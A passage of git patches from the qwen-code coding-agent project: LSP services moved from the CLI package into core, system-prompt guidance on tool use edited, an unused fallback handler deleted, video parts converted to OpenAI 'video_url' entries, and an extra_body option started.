"where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. @@ -3530,19 +3348,6 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. diff --git a/packages/core/src/core/prompts.ts b/packages/core/src/core/prompts.ts index 94d54b911..8d3ff4683 100644 --- a/packages/core/src/core/prompts.ts +++ b/packages/core/src/core/prompts.ts @@ -258,19 +258,6 @@ IMPORTANT: Always use the ${ToolNames.TODO_WRITE} tool to plan and track tasks t - **Subagent Delegation:** When doing file search, prefer to use the '${ToolNames.TASK}' tool in order to reduce context usage. You should proactively use the '${ToolNames.TASK}' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the '${ToolNames.MEMORY}' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. -- **LSP (Language Server Protocol):** When the '${ToolNames.LSP}' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use '${ToolNames.GREP}' or '${ToolNames.GLOB}' first - go directly to LSP. Supported operations: - - goToDefinition: Find where a symbol is defined (requires filePath, line, character) - - findReferences: Find all references to a symbol (requires filePath, line, character) - - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) - - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) - - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) - - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) - - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) - - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) - - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) - - diagnostics: Get errors/warnings for a file (requires filePath only) - - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) - IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 42950ffb9..a9c091a08 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -141,6 +141,14 @@ export * from './tools/exitPlanMode.js'; // Export LSP types and tools export * from './lsp/types.js'; +export * from './lsp/constants.js'; +export * from './lsp/LspConfigLoader.js'; +export * from './lsp/LspConnectionFactory.js'; +export * from './lsp/LspLanguageDetector.js'; +export * from './lsp/LspResponseNormalizer.js'; +export * from './lsp/LspServerManager.js'; +export * from './lsp/NativeLspClient.js'; +export * from './lsp/NativeLspService.js'; export * from './tools/lsp.js'; // MCP OAuth diff --git a/packages/cli/src/services/lsp/LspConfigLoader.test.ts b/packages/core/src/lsp/LspConfigLoader.test.ts similarity index 82% rename from packages/cli/src/services/lsp/LspConfigLoader.test.ts rename to packages/core/src/lsp/LspConfigLoader.test.ts index 2207aa5ea..9f0ee8548 100644 --- a/packages/cli/src/services/lsp/LspConfigLoader.test.ts +++ b/packages/core/src/lsp/LspConfigLoader.test.ts @@ -7,7 +7,7 @@ import { describe, it, expect, afterEach } from 'vitest'; import mock from 'mock-fs'; import { LspConfigLoader } from './LspConfigLoader.js'; -import type { Extension } from '@qwen-code/qwen-code-core'; +import type { Extension } from '../extension/extensionManager.js'; describe('LspConfigLoader extension configs', () => { const workspaceRoot = '/workspace'; @@ -20,9 +20,15 @@ describe('LspConfigLoader extension configs', () => { it('loads inline lspServers config from extension', async () => { const loader = new LspConfigLoader(workspaceRoot); const extension = { + id: 'ts-plugin', name: 'ts-plugin', + version: '1.0.0', + isActive: true, path: extensionPath, + contextFiles: [], config: { + name: 'ts-plugin', + version: '1.0.0', lspServers: { typescript: { command: 'typescript-language-server', @@ -63,9 +69,15 @@ describe('LspConfigLoader extension configs', () => { const loader = new LspConfigLoader(workspaceRoot); const extension = { + id: 'ts-plugin', name: 'ts-plugin', + version: '1.0.0', + isActive: true, path: extensionPath, + contextFiles: [], config: { + name: 'ts-plugin', + version: '1.0.0', lspServers: './.lsp.json', }, } as Extension; @@ -73,6 +85,6 @@ describe('LspConfigLoader extension configs', () => { const configs = await loader.loadExtensionConfigs([extension]); expect(configs).toHaveLength(1); - expect(configs[0]?.env?.EXT_ROOT).toBe(extensionPath); + expect(configs[0]?.env?.['EXT_ROOT']).toBe(extensionPath); }); }); diff --git a/packages/cli/src/services/lsp/LspConfigLoader.ts b/packages/core/src/lsp/LspConfigLoader.ts similarity index 96% rename from packages/cli/src/services/lsp/LspConfigLoader.ts rename to packages/core/src/lsp/LspConfigLoader.ts index c82f5323a..b091a957a 100644 --- a/packages/cli/src/services/lsp/LspConfigLoader.ts +++ b/packages/core/src/lsp/LspConfigLoader.ts @@ -9,14 +9,14 @@ import * as path from 'path'; import { pathToFileURL } from 'url'; import { recursivelyHydrateStrings, - type Extension, type JsonValue, -} from '@qwen-code/qwen-code-core'; +} from '../extension/variables.js'; +import type { Extension } from '../extension/extensionManager.js'; import type { LspInitializationOptions, LspServerConfig, LspSocketOptions, -} from './LspTypes.js'; +} from './types.js'; export class LspConfigLoader { constructor(private readonly workspaceRoot: string) {} @@ -44,7 +44,9 @@ export class LspConfigLoader { /** * Load LSP configurations declared by extensions (Claude plugins). */ - async loadExtensionConfigs(extensions: Extension[]): Promise { + async loadExtensionConfigs( + extensions: Extension[], + ): Promise { const configs: LspServerConfig[] = []; for (const extension of extensions) { @@ -60,19 +62,14 @@ export class LspConfigLoader { lspServers, ); if (!fs.existsSync(configPath)) { - console.warn( - `LSP config not found for ${originBase}: ${configPath}`, - ); + console.warn(`LSP config not found for ${originBase}: ${configPath}`); continue; } try { const configContent = fs.readFileSync(configPath, 'utf-8'); const data = JSON.parse(configContent) as JsonValue; - const hydrated = this.hydrateExtensionLspConfig( - data, - extension.path, - ); + const hydrated = this.hydrateExtensionLspConfig(data, extension.path); configs.push( ...this.parseConfigSource( hydrated, @@ -91,10 +88,7 @@ export class LspConfigLoader { extension.path, ); configs.push( - ...this.parseConfigSource( - hydrated, - `${originBase} (lspServers)`, - ), + ...this.parseConfigSource(hydrated, `${originBase} (lspServers)`), ); } else { console.warn( diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/core/src/lsp/LspConnectionFactory.ts similarity index 99% rename from packages/cli/src/services/lsp/LspConnectionFactory.ts rename to packages/core/src/lsp/LspConnectionFactory.ts index 84b23878d..dfcecd86d 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/core/src/lsp/LspConnectionFactory.ts @@ -7,7 +7,7 @@ import * as cp from 'node:child_process'; import * as net from 'node:net'; import { DEFAULT_LSP_REQUEST_TIMEOUT_MS } from './constants.js'; -import type { JsonRpcMessage } from './LspTypes.js'; +import type { JsonRpcMessage } from './types.js'; interface PendingRequest { resolve: (value: unknown) => void; diff --git a/packages/cli/src/services/lsp/LspLanguageDetector.ts b/packages/core/src/lsp/LspLanguageDetector.ts similarity index 97% rename from packages/cli/src/services/lsp/LspLanguageDetector.ts rename to packages/core/src/lsp/LspLanguageDetector.ts index 863332867..9c3f96e73 100644 --- a/packages/cli/src/services/lsp/LspLanguageDetector.ts +++ b/packages/core/src/lsp/LspLanguageDetector.ts @@ -14,10 +14,8 @@ import * as fs from 'node:fs'; import * as path from 'path'; import { globSync } from 'glob'; -import type { - WorkspaceContext, - FileDiscoveryService, -} from '@qwen-code/qwen-code-core'; +import type { FileDiscoveryService } from '../services/fileDiscoveryService.js'; +import type { WorkspaceContext } from '../utils/workspaceContext.js'; /** * Extension to language ID mapping diff --git a/packages/cli/src/services/lsp/LspResponseNormalizer.ts b/packages/core/src/lsp/LspResponseNormalizer.ts similarity index 99% rename from packages/cli/src/services/lsp/LspResponseNormalizer.ts rename to packages/core/src/lsp/LspResponseNormalizer.ts index a9720a8a4..9a9a478c0 100644 --- a/packages/cli/src/services/lsp/LspResponseNormalizer.ts +++ b/packages/core/src/lsp/LspResponseNormalizer.ts @@ -27,7 +27,7 @@ import type { LspSymbolInformation, LspTextEdit, LspWorkspaceEdit, -} from '@qwen-code/qwen-code-core'; +} from './types.js'; import { CODE_ACTION_KIND_LABELS, DIAGNOSTIC_SEVERITY_LABELS, diff --git a/packages/cli/src/services/lsp/LspServerManager.ts b/packages/core/src/lsp/LspServerManager.ts similarity index 98% rename from packages/cli/src/services/lsp/LspServerManager.ts rename to packages/core/src/lsp/LspServerManager.ts index 0bb129529..74b25f779 100644 --- a/packages/cli/src/services/lsp/LspServerManager.ts +++ b/packages/core/src/lsp/LspServerManager.ts @@ -4,11 +4,9 @@ * SPDX-License-Identifier: Apache-2.0 */ -import type { - Config as CoreConfig, - WorkspaceContext, - FileDiscoveryService, -} from '@qwen-code/qwen-code-core'; +import type { Config as CoreConfig } from '../config/config.js'; +import type { FileDiscoveryService } from '../services/fileDiscoveryService.js'; +import type { WorkspaceContext } from '../utils/workspaceContext.js'; import { spawn, type ChildProcess } from 'node:child_process'; import * as fs from 'node:fs'; import * as path from 'path'; @@ -29,7 +27,7 @@ import type { LspServerHandle, LspServerStatus, LspSocketOptions, -} from './LspTypes.js'; +} from './types.js'; export interface LspServerManagerOptions { requireTrustedWorkspace: boolean; diff --git a/packages/cli/src/services/lsp/NativeLspClient.ts b/packages/core/src/lsp/NativeLspClient.ts similarity index 98% rename from packages/cli/src/services/lsp/NativeLspClient.ts rename to packages/core/src/lsp/NativeLspClient.ts index 890ed0755..8510ed876 100644 --- a/packages/cli/src/services/lsp/NativeLspClient.ts +++ b/packages/core/src/lsp/NativeLspClient.ts @@ -9,7 +9,7 @@ * by delegating all calls to NativeLspService. * * This class bridges the gap between the generic LspClient interface (defined in core) - * and the CLI-specific NativeLspService implementation. + * and the NativeLspService implementation. */ import type { @@ -28,7 +28,7 @@ import type { LspReference, LspSymbolInformation, LspWorkspaceEdit, -} from '@qwen-code/qwen-code-core'; +} from './types.js'; import type { NativeLspService } from './NativeLspService.js'; diff --git a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts b/packages/core/src/lsp/NativeLspService.integration.test.ts similarity index 98% rename from packages/cli/src/services/lsp/NativeLspService.integration.test.ts rename to packages/core/src/lsp/NativeLspService.integration.test.ts index f9fc6b106..cf737fbf7 100644 --- a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts +++ b/packages/core/src/lsp/NativeLspService.integration.test.ts @@ -7,14 +7,11 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import { EventEmitter } from 'events'; import { NativeLspService } from './NativeLspService.js'; -import type { - Config as CoreConfig, - WorkspaceContext, - FileDiscoveryService, - IdeContextStore, - LspLocation, - LspDiagnostic, -} from '@qwen-code/qwen-code-core'; +import type { Config as CoreConfig } from '../config/config.js'; +import type { FileDiscoveryService } from '../services/fileDiscoveryService.js'; +import type { IdeContextStore } from '../ide/ideContext.js'; +import type { WorkspaceContext } from '../utils/workspaceContext.js'; +import type { LspDiagnostic, LspLocation } from './types.js'; /** * Mock LSP server responses for integration testing. diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/core/src/lsp/NativeLspService.test.ts similarity index 90% rename from packages/cli/src/services/lsp/NativeLspService.test.ts rename to packages/core/src/lsp/NativeLspService.test.ts index 553581d29..218f2e3c7 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/core/src/lsp/NativeLspService.test.ts @@ -4,14 +4,13 @@ * SPDX-License-Identifier: Apache-2.0 */ +import { describe, beforeEach, expect, test } from 'vitest'; import { NativeLspService } from './NativeLspService.js'; import { EventEmitter } from 'events'; -import type { - Config as CoreConfig, - WorkspaceContext, - FileDiscoveryService, - IdeContextStore, -} from '@qwen-code/qwen-code-core'; +import type { Config as CoreConfig } from '../config/config.js'; +import type { FileDiscoveryService } from '../services/fileDiscoveryService.js'; +import type { IdeContextStore } from '../ide/ideContext.js'; +import type { WorkspaceContext } from '../utils/workspaceContext.js'; // 模拟依赖项 class MockConfig { diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/core/src/lsp/NativeLspService.ts similarity index 98% rename from packages/cli/src/services/lsp/NativeLspService.ts rename to packages/core/src/lsp/NativeLspService.ts index a57ad3483..23447ad70 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/core/src/lsp/NativeLspService.ts @@ -4,11 +4,12 @@ * SPDX-License-Identifier: Apache-2.0 */ +import type { Config as CoreConfig } from '../config/config.js'; +import type { Extension } from '../extension/extensionManager.js'; +import type { IdeContextStore } from '../ide/ideContext.js'; +import type { FileDiscoveryService } from '../services/fileDiscoveryService.js'; +import type { WorkspaceContext } from '../utils/workspaceContext.js'; import type { - Config as CoreConfig, - WorkspaceContext, - FileDiscoveryService, - IdeContextStore, LspCallHierarchyIncomingCall, LspCallHierarchyItem, LspCallHierarchyOutgoingCall, @@ -24,19 +25,18 @@ import type { LspSymbolInformation, LspTextEdit, LspWorkspaceEdit, - Extension, -} from '@qwen-code/qwen-code-core'; +} from './types.js'; import type { EventEmitter } from 'events'; import { LspConfigLoader } from './LspConfigLoader.js'; import { LspLanguageDetector } from './LspLanguageDetector.js'; import { LspResponseNormalizer } from './LspResponseNormalizer.js'; import { LspServerManager } from './LspServerManager.js'; import type { + LspConnectionInterface, LspServerHandle, LspServerStatus, NativeLspServiceOptions, - LspConnectionInterface, -} from './LspTypes.js'; +} from './types.js'; import * as path from 'path'; import { fileURLToPath } from 'url'; import * as fs from 'node:fs'; diff --git a/packages/cli/src/services/lsp/constants.ts b/packages/core/src/lsp/constants.ts similarity index 96% rename from packages/cli/src/services/lsp/constants.ts rename to packages/core/src/lsp/constants.ts index e5874d9fc..04fa4bb31 100644 --- a/packages/cli/src/services/lsp/constants.ts +++ b/packages/core/src/lsp/constants.ts @@ -4,10 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import type { - LspCodeActionKind, - LspDiagnosticSeverity, -} from '@qwen-code/qwen-code-core'; +import type { LspCodeActionKind, LspDiagnosticSeverity } from './types.js'; // ============================================================================ // Timeout Constants diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 780a45718..f7806fe12 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -359,3 +359,165 @@ export interface LspClient { serverName?: string, ): Promise; } + +// ============================================================================ +// LSP Service Types (migrated from cli) +// ============================================================================ + +import type { ChildProcess } from 'node:child_process'; + +/** + * LSP server initialization options passed during the initialize request. + */ +export interface LspInitializationOptions { + [key: string]: unknown; +} + +/** + * Socket connection options for TCP or Unix socket transport. + */ +export interface LspSocketOptions { + /** Host address for TCP connections */ + host?: string; + /** Port number for TCP connections */ + port?: number; + /** Path for Unix socket connections */ + path?: string; +} + +/** + * Configuration for an LSP server instance. + */ +export interface LspServerConfig { + /** Unique name identifier for the server */ + name: string; + /** List of languages this server handles */ + languages: string[]; + /** Command to start the server (required for stdio transport) */ + command?: string; + /** Command line arguments */ + args?: string[]; + /** Transport type: stdio, tcp, or socket */ + transport: 'stdio' | 'tcp' | 'socket'; + /** Environment variables for the server process */ + env?: Record; + /** LSP initialization options */ + initializationOptions?: LspInitializationOptions; + /** Server-specific settings */ + settings?: Record; + /** Custom file extension to language mappings */ + extensionToLanguage?: Record; + /** Root URI for the workspace */ + rootUri: string; + /** Workspace folder path */ + workspaceFolder?: string; + /** Startup timeout in milliseconds */ + startupTimeout?: number; + /** Shutdown timeout in milliseconds */ + shutdownTimeout?: number; + /** Whether to restart on crash */ + restartOnCrash?: boolean; + /** Maximum number of restart attempts */ + maxRestarts?: number; + /** Whether trusted workspace is required */ + trustRequired?: boolean; + /** Socket connection options */ + socket?: LspSocketOptions; +} + +/** + * JSON-RPC message format for LSP communication. + */ +export interface JsonRpcMessage { + jsonrpc: string; + id?: number | string; + method?: string; + params?: unknown; + result?: unknown; + error?: { + code: number; + message: string; + data?: unknown; + }; +} + +/** + * Interface for LSP JSON-RPC connection. + */ +export interface LspConnectionInterface { + /** Start listening on a readable stream */ + listen: (readable: NodeJS.ReadableStream) => void; + /** Send a message to the server */ + send: (message: JsonRpcMessage) => void; + /** Register a notification handler */ + onNotification: (handler: (notification: JsonRpcMessage) => void) => void; + /** Register a request handler */ + onRequest: (handler: (request: JsonRpcMessage) => Promise) => void; + /** Send a request and wait for response */ + request: (method: string, params: unknown) => Promise; + /** Send initialize request */ + initialize: (params: unknown) => Promise; + /** Send shutdown request */ + shutdown: () => Promise; + /** End the connection */ + end: () => void; +} + +/** + * Status of an LSP server instance. + */ +export type LspServerStatus = + | 'NOT_STARTED' + | 'IN_PROGRESS' + | 'READY' + | 'FAILED'; + +/** + * Handle for managing an LSP server instance. + */ +export interface LspServerHandle { + /** Server configuration */ + config: LspServerConfig; + /** Current status */ + status: LspServerStatus; + /** Active connection to the server */ + connection?: LspConnectionInterface; + /** Server process (for stdio transport) */ + process?: ChildProcess; + /** Error that caused failure */ + error?: Error; + /** Whether TypeScript server has been warmed up */ + warmedUp?: boolean; + /** Whether stop was explicitly requested */ + stopRequested?: boolean; + /** Number of restart attempts */ + restartAttempts?: number; + /** Lock to prevent concurrent startup attempts */ + startingPromise?: Promise; +} + +/** + * Options for NativeLspService constructor. + */ +export interface NativeLspServiceOptions { + /** Whether to require trusted workspace */ + requireTrustedWorkspace?: boolean; + /** Override workspace root path */ + workspaceRoot?: string; +} + +/** + * Result from creating an LSP connection. + */ +export interface LspConnectionResult { + /** The JSON-RPC connection */ + connection: LspConnectionInterface; + /** Server process (for stdio transport) */ + process?: ChildProcess; + /** Shutdown the connection gracefully */ + shutdown: () => Promise; + /** Force exit the connection */ + exit: () => void; + /** Send initialize request */ + initialize: (params: unknown) => Promise; +} diff --git a/packages/core/src/tools/lsp.ts b/packages/core/src/tools/lsp.ts index 0a8fd0b76..27711a080 100644 --- a/packages/core/src/tools/lsp.ts +++ b/packages/core/src/tools/lsp.ts @@ -1018,7 +1018,7 @@ export class LspTool extends BaseDeclarativeTool { super( LspTool.Name, ToolDisplayNames.LSP, - 'Unified LSP operations for definitions, references, hover, symbols, call hierarchy, diagnostics, and code actions.', + 'Language Server Protocol (LSP) tool for code intelligence: definitions, references, hover, symbols, call hierarchy, diagnostics, and code actions.\n\n Usage:\n - ALWAYS use LSP as the PRIMARY tool for code intelligence queries when available. Do NOT use grep_search or glob first.\n - goToDefinition, findReferences, hover, goToImplementation, prepareCallHierarchy require filePath + line + character (1-based).\n - documentSymbol and diagnostics require filePath.\n - workspaceSymbol requires query (use when user asks "where is X defined?" without specifying a file).\n - incomingCalls/outgoingCalls require callHierarchyItem from prepareCallHierarchy.\n - workspaceDiagnostics needs no parameters.\n - codeActions require filePath + range (line/character + endLine/endCharacter) and diagnostics/context as needed.', Kind.Other, { type: 'object', From b905579e512c540870288a6a6677773cf4602f00 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 29 Jan 2026 11:25:41 +0800 Subject: [PATCH 73/79] chore(core): remove unused fallback handler and improve docs - Delete orphaned fallback/handler.ts and its tests (no longer imported after removing onPersistent429 callback) - Add JSDoc to getErrorStatus() documenting property check priority --- packages/core/src/fallback/handler.test.ts | 46 ------------- packages/core/src/fallback/handler.ts | 77 ---------------------- packages/core/src/utils/retry.ts | 9 ++- 3 files changed, 8 insertions(+), 124 deletions(-) delete mode 100644 packages/core/src/fallback/handler.test.ts delete mode 100644 packages/core/src/fallback/handler.ts diff --git a/packages/core/src/fallback/handler.test.ts b/packages/core/src/fallback/handler.test.ts deleted file mode 100644 index f0021afda..000000000 --- a/packages/core/src/fallback/handler.test.ts +++ /dev/null @@ -1,46 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import { describe, it, expect, vi, beforeEach } from 'vitest'; -import { handleFallback } from './handler.js'; -import type { Config } from '../config/config.js'; -import { AuthType } from '../core/contentGenerator.js'; - -const createMockConfig = (overrides: Partial = {}): Config => - ({ - isInFallbackMode: vi.fn(() => false), - setFallbackMode: vi.fn(), - fallbackHandler: undefined, - ...overrides, - }) as unknown as Config; - -describe('handleFallback', () => { - let mockConfig: Config; - - beforeEach(() => { - vi.clearAllMocks(); - mockConfig = createMockConfig(); - }); - - it('should return null for unknown auth types', async () => { - const result = await handleFallback( - mockConfig, - 'test-model', - 'unknown-auth', - ); - expect(result).toBeNull(); - }); - - it('should handle Qwen OAuth error', async () => { - const result = await handleFallback( - mockConfig, - 'test-model', - AuthType.QWEN_OAUTH, - new Error('unauthorized'), - ); - expect(result).toBeNull(); - }); -}); diff --git a/packages/core/src/fallback/handler.ts b/packages/core/src/fallback/handler.ts deleted file mode 100644 index 375ce252f..000000000 --- a/packages/core/src/fallback/handler.ts +++ /dev/null @@ -1,77 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import type { Config } from '../config/config.js'; -import { AuthType } from '../core/contentGenerator.js'; - -export async function handleFallback( - config: Config, - failedModel: string, - authType?: string, - error?: unknown, -): Promise { - // Handle different auth types - if (authType === AuthType.QWEN_OAUTH) { - return handleQwenOAuthError(error); - } - - return null; -} - -/** - * Handles Qwen OAuth authentication errors and rate limiting - */ -async function handleQwenOAuthError(error?: unknown): Promise { - if (!error) { - return null; - } - - const errorMessage = - error instanceof Error - ? error.message.toLowerCase() - : String(error).toLowerCase(); - const errorCode = - (error as { status?: number; code?: number })?.status || - (error as { status?: number; code?: number })?.code; - - // Check if this is an authentication/authorization error - const isAuthError = - errorCode === 401 || - errorCode === 403 || - errorMessage.includes('unauthorized') || - errorMessage.includes('forbidden') || - errorMessage.includes('invalid api key') || - errorMessage.includes('authentication') || - errorMessage.includes('access denied') || - (errorMessage.includes('token') && errorMessage.includes('expired')); - - // Check if this is a rate limiting error - const isRateLimitError = - errorCode === 429 || - errorMessage.includes('429') || - errorMessage.includes('rate limit') || - errorMessage.includes('too many requests'); - - if (isAuthError) { - console.warn('Qwen OAuth authentication error detected:', errorMessage); - // The QwenContentGenerator should automatically handle token refresh - // If it still fails, it likely means the refresh token is also expired - console.log( - 'Note: If this persists, you may need to re-authenticate with Qwen OAuth', - ); - return null; - } - - if (isRateLimitError) { - console.warn('Qwen API rate limit encountered:', errorMessage); - // For rate limiting, we don't need to do anything special - // The retry mechanism will handle the backoff - return null; - } - - // For other errors, don't handle them specially - return null; -} diff --git a/packages/core/src/utils/retry.ts b/packages/core/src/utils/retry.ts index 97aaa8330..8efa98805 100644 --- a/packages/core/src/utils/retry.ts +++ b/packages/core/src/utils/retry.ts @@ -146,8 +146,15 @@ export async function retryWithBackoff( /** * Extracts the HTTP status code from an error object. + * + * Checks the following properties in order of priority: + * 1. `error.status` - OpenAI, Anthropic, Gemini SDK errors + * 2. `error.statusCode` - Some HTTP client libraries + * 3. `error.response.status` - Axios-style errors + * 4. `error.error.code` - Nested error objects + * * @param error The error object. - * @returns The HTTP status code, or undefined if not found. + * @returns The HTTP status code (100-599), or undefined if not found. */ export function getErrorStatus(error: unknown): number | undefined { if (typeof error !== 'object' || error === null) { From 93a6de32e64fe85992af0f10db6ffca410e6edbd Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 29 Jan 2026 12:05:27 +0800 Subject: [PATCH 74/79] feat(core): emit video_url content parts for video media Convert Gemini video parts into OpenAI-compatible `video_url` entries and keep `file` for PDFs. Co-authored-by: Cursor --- .../openaiContentGenerator/converter.test.ts | 18 ++++----- .../core/openaiContentGenerator/converter.ts | 40 +++++++++++-------- 2 files changed, 31 insertions(+), 27 deletions(-) diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index 1c6a9c09b..03f7dda48 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -544,7 +544,7 @@ describe('OpenAIContentConverter', () => { ); }); - it('should convert video inlineData to tool message with embedded file', () => { + it('should convert video inlineData to tool message with embedded video_url', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ @@ -593,14 +593,13 @@ describe('OpenAIContentConverter', () => { const contentArray = toolMessage?.content as Array<{ type: string; text?: string; - file?: { filename: string; file_data: string }; + video_url?: { url: string }; }>; expect(contentArray).toHaveLength(2); expect(contentArray[0].type).toBe('text'); expect(contentArray[0].text).toBe('Video content'); - expect(contentArray[1].type).toBe('file'); - expect(contentArray[1].file?.filename).toBe('recording.mp4'); - expect(contentArray[1].file?.file_data).toBe( + expect(contentArray[1].type).toBe('video_url'); + expect(contentArray[1].video_url?.url).toBe( 'data:video/mp4;base64,videobase64data', ); @@ -609,7 +608,7 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); - it('should convert video fileData URL to tool message with embedded file', () => { + it('should convert video fileData URL to tool message with embedded video_url', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ @@ -657,14 +656,13 @@ describe('OpenAIContentConverter', () => { const contentArray = toolMessage?.content as Array<{ type: string; text?: string; - file?: { filename: string; file_data: string }; + video_url?: { url: string }; }>; expect(contentArray).toHaveLength(2); expect(contentArray[0].type).toBe('text'); expect(contentArray[0].text).toBe('Video content'); - expect(contentArray[1].type).toBe('file'); - expect(contentArray[1].file?.filename).toBe('recording.mp4'); - expect(contentArray[1].file?.file_data).toBe( + expect(contentArray[1].type).toBe('video_url'); + expect(contentArray[1].video_url?.url).toBe( 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', ); }); diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index d98eeac76..2ebc88f17 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -64,17 +64,27 @@ export interface ToolCallAccumulator { arguments: string; } +type OpenAIContentPartVideoUrl = { + type: 'video_url'; + video_url: { + url: string; + }; +}; + +type OpenAIContentPartFile = { + type: 'file'; + file: { + filename: string; + file_data: string; + }; +}; + type OpenAIContentPart = | OpenAI.Chat.ChatCompletionContentPartText | OpenAI.Chat.ChatCompletionContentPartImage | OpenAI.Chat.ChatCompletionContentPartInputAudio - | { - type: 'file'; - file: { - filename: string; - file_data: string; - }; - }; + | OpenAIContentPartVideoUrl + | OpenAIContentPartFile; /** * Converter class for transforming data between Gemini and OpenAI formats @@ -607,12 +617,10 @@ export class OpenAIContentConverter { } if (mediaType === 'video') { - const filename = part.inlineData.displayName || 'video'; return { - type: 'file' as const, - file: { - filename, - file_data: `data:${mimeType};base64,${part.inlineData.data}`, + type: 'video_url' as const, + video_url: { + url: `data:${mimeType};base64,${part.inlineData.data}`, }, }; } @@ -650,12 +658,10 @@ export class OpenAIContentConverter { } if (mediaType === 'video') { - const videoFilename = part.fileData.displayName || 'video'; return { - type: 'file' as const, - file: { - filename: videoFilename, - file_data: fileUri, + type: 'video_url' as const, + video_url: { + url: fileUri, }, }; } From 532d97670bc3036f77de3f5d4fd9847eb2f01a1f Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 29 Jan 2026 12:33:54 +0800 Subject: [PATCH 75/79] feat: add extra_body support for OpenAI-compatible providers Add extra_body configuration option to model.generationConfig for passing custom parameters to OpenAI-compatible API request bodies. - Add extra_body to ContentGeneratorConfig type - Add extra_body to MODEL_GENERATION_CONFIG_FIELDS and ModelGenerationConfig - Implement extra_body merging in DefaultOpenAICompatibleProvider - Implement 